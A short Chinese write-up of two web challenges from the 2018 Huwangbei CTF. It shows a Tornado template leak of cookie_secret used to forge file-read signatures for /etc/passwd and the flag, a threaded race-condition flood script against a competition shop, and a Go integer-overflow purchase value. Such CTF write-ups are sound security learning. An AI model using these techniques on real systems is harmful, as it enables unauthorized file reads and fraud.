护网杯 web题
一共是四道web题目
做了两道。太垃圾了
这里有三个文件。打开第一个
第一个reder() 这个是tor 框架的一个返回函数。
可以返回html 之类的信息。
里面有一个这种的方法
handler.settings
{‘login_url’: ‘/login’, ‘template_path’: ‘templates’, ‘xsrf_cookies’: True, ‘cookie_secret’: ‘nem?a>Q*o.U~gcXY(<Pz$uVNlF9^y-B#7ZE45kdqpT{&I%6]08b_iRjKHSW3J}1!’, ‘debug’: False, ‘file_path’: ‘/www/static/files’, ‘static_path’: ‘static’}
有了cookie_secert 了。加密一下
key = "nem?a>Q*o.U~gcXY(<Pz$uVNlF9^y-B#7ZE45kdqpT{&I%6]08b_iRjKHSW3J}1!" filename = "/etc/passwd" a2=hashlib.md5(filename).hexdigest() a=hashlib.md5(key+a2).hexdigest() print(a)
读取一下/etc/passwd
读取flag
/fllllllllllag
ltshop
注册一个用户
经过测试大辣条这里有竞争
写了一个脚本(burp 也可以,只是我burp有问题)
#!/usr/bin/env python # -*- coding:utf-8 -*- # Author: liang import json import requests import time from concurrent.futures import ThreadPoolExecutor def echke(): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99', 'Cookie': 'go_iris_cookie=8c916c0f-cdc0-4707-b86c-2e71235cad32', } data={'number':'3689348814741910324'} url='http://49.4.79.1:32228/buylt' ret=requests.post(url=url,headers=headers,data=data) print(ret.text) thread = 1000 try: with ThreadPoolExecutor(thread) as exector: for i in range(1,5000000000000000000): response = exector.submit(echke,) if response: pass else: print(response) except Exception as e: try: with ThreadPoolExecutor(thread) as exector: for i in range(1, 5000000000000000000): response = exector.submit(echke, ) if response: pass else: print(response) except Exception as e: with ThreadPoolExecutor(thread) as exector: for i in range(1, 5000000000000000000): response = exector.submit(echke, ) if response: pass else: print(response)
测试了好多次。觉得辣椒王有竞争。但是限制在于金币的所需有限。一辈子都不可能拿到flag 这种的
判断了这个web 框架不是php 的,
想了一下。如果是python 的是话int 类型是不存在溢出的情况。
看了一下也没有返回web 服务器的类型
问了一下大佬说,go语言的程序。百度了一下go 语言的int 溢出
参考文档:http://www.it1352.com/808569.html
溢出的时间点找到了
最终测试3689348814741910324 成功
其他两道题目,可以参考一叶飘零大佬的文章:
http://skysec.top/2018/10/13/2018%E6%8A%A4%E7%BD%91%E6%9D%AF-web-writeup/